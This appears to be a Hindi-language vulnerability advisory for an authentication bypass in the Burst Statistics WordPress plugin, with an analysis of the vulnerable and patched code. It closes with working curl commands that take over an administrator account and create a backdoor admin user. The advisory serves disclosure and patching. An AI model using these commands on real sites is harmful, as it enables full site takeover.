
Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) WordPress के लिए प्लगइन प्रमाणीकरण बायपास के लिए संवेदनशील है।
भेद्यता सारांश
वर्डप्रेस प्लगइन Burst Statistics संस्करण 3.4.0 से 3.4.1.1 एक अप्रमाणित प्रमाणीकरण बाईपास भेद्यता के लिए संवेदनशील है जो पूर्ण व्यवस्थापक खाता अधिग्रहण की ओर ले जाता है। यह गंभीर दोष एक अप्रमाणित हमलावर को, जो किसी भी व्यवस्थापक उपयोगकर्ता नाम को जानता है, एक ही HTTP अनुरोध में उस खाते के लिए एक वैध वर्डप्रेस एप्लिकेशन पासवर्ड बनाने की अनुमति देता है, जिससे पूरी साइट तक लगातार व्यवस्थापक-स्तर की पहुंच प्राप्त होती है।
यह भेद्यता class-mainwp-proxy.php में is_mainwp_authenticated() फ़ंक्शन से उत्पन्न होती है। यह फ़ंक्शन wp_authenticate_application_password() को कॉल करता है और केवल यह जांचता है कि परिणाम WP_Error है या नहीं। यह यह सत्यापित नहीं करता है कि परिणाम वास्तव में एक सफल WP_User ऑब्जेक्ट है या नहीं। जब वर्डप्रेस का आंतरिक फ़िल्टर application_password_is_api_request false लौटाता है — जो तब होता है जब कॉल सामान्य REST API प्रमाणीकरण प्रवाह के बाहर की जाती है — वर्डप्रेस फ़ंक्शन WP_Error या WP_User के बजाय null लौटाता है। क्योंकि null WP_Error नहीं है, जांच पास हो जाती है, और हमलावर का चुना हुआ व्यवस्थापक उपयोगकर्ता wp_set_current_user() के माध्यम से वर्तमान उपयोगकर्ता के रूप में सेट हो जाता है।
एक बार जब वर्तमान उपयोगकर्ता किसी व्यवस्थापक पर स्विच हो जाता है, तो बाद की क्षमता जांच पास हो जाती है। इसके बाद हमलावर /burst/v1/mainwp-auth REST एंडपॉइंट तक पहुंच सकता है, जो व्यवस्थापक खाते के लिए एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता है और इसे प्रतिक्रिया में लौटाता है। यह हमलावर को लगातार, पूर्ण व्यवस्थापक-स्तर की पहुंच प्रदान करता है।
प्रभावित प्लगइन
| फ़ील्ड | मान |
|---|---|
| प्लगइन का नाम | Burst Statistics – Privacy-Friendly WordPress Analytics |
| प्लगइन स्लग | burst-statistics |
| प्रभावित संस्करण | 3.4.0 – 3.4.1.1 |
| पैच किया गया संस्करण | 3.4.2 |
| CVE ID | CVE-2026-8181 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| भेद्यता प्रकार | प्रमाणीकरण बाईपास (अनुचित प्रमाणीकरण) |
| CWE | CWE-287 — अनुचित प्रमाणीकरण |
| प्रभाव | पूर्ण साइट अधिग्रहण — व्यवस्थापक खाता अधिग्रहण |
हमलावर क्या कर सकते हैं
| क्षमता | प्रभाव |
|---|---|
| किसी भी व्यवस्थापक के लिए एप्लिकेशन पासवर्ड बनाना | लगातार व्यवस्थापक पहुंच |
| REST API के माध्यम से नए व्यवस्थापक खाते बनाना | खाता प्रसार |
| प्लगइन/थीम इंस्टॉल करना | दूरस्थ कोड निष्पादन |
| पोस्ट, पेज और सेटिंग्स संपादित करना | साइट विरूपण |
| सभी साइट डेटा निर्यात या हटाना | डेटा विनाश/निष्कर्षण |
| WooCommerce/ग्राहक डेटा तक पहुंच | डेटा उल्लंघन |
तकनीकी विश्लेषण
Burst Statistics वर्डप्रेस के plugins_loaded हुक पर प्राथमिकता 9 पर आरंभ होता है, class-burst.php के अंदर:
// class-burst.php, लाइन 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() सभी व्यवस्थापक कार्यक्षमता के लिए गेटकीपर है। यह X-BurstMainWP हेडर की जांच करता है और संवेदनशील फ़ंक्शन को कॉल करता है:
// trait-admin-helper.php, पंक्तियाँ 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, पंक्तियाँ 313-342 (संवेदनशील 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// संवेदनशील: REST API प्रमाणीकरण प्रवाह के बाहर
// wp_authenticate_application_password() null लौटाता है
$is_valid = wp_authenticate_application_password( null, $username, $password );
// बग: केवल जांचता है कि परिणाम WP_Error है या नहीं। null WP_Error नहीं है → पास!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() null क्यों लौटाता हैवर्डप्रेस आंतरिक फ़ंक्शन wp_authenticate_application_password() में एक फ़िल्टर है:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // API अनुरोध नहीं, एप्लिकेशन पासवर्ड प्रमाणीकरण छोड़ें
}
जब सामान्य REST API प्रमाणीकरण प्रवाह के बाहर कॉल किया जाता है, तो यह null लौटाता है। Burst Statistics कोड ने केवल is_wp_error($is_valid) जांचा — null WP_Error नहीं है, इसलिए जांच गलत तरीके से पास हो जाती है।
X-BurstMainWP: 1 हेडर भेजता हैhas_admin_access() is_mainwp_authenticated() को ट्रिगर करता हैwp_authenticate_application_password() null लौटाता है (API संदर्भ में नहीं)is_wp_error(null) = false → जांच पास होती हैwp_set_current_user($admin_id) निष्पादित होता है/burst/v1/mainwp-auth पर POST करता हैhandle_auth_request() एक वर्डप्रेस एप्लिकेशन पासवर्ड बनाता हैbase64(username:app_password) के रूप में लौटाया जाता है// class-mainwp-proxy.php, पंक्तियाँ 399-415 (पैच किया गया 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
लागू किए गए सुधार:
application_password_is_api_request फ़िल्टर को true पर बाध्य करें ताकि वास्तविक पासवर्ड सत्यापन हो सकेWP_User इंस्टेंस है (null नहीं)hash_equals() का उपयोग करेंइसके अतिरिक्त, REST एंडपॉइंट के लिए check_auth_permission() को कड़ा किया गया ताकि current_user_can('manage_burst_statistics') और कुकी-प्रमाणित अनुरोधों के लिए स्पष्ट नॉन्स सत्यापन की आवश्यकता हो।
प्रूफ ऑफ कॉन्सेप्ट
# चरण 1: लक्ष्य संवेदनशील है या नहीं जांचें (एप्लिकेशन पासवर्ड बनाएं)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# प्रतिक्रिया: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# चरण 2: टोकन डिकोड करें
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# चरण 3: नया व्यवस्थापक बनाने के लिए एप्लिकेशन पासवर्ड का उपयोग करें
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
exploit_burst_statistics.py स्क्रिप्ट पूरे हमले की श्रृंखला को स्वचालित करती है: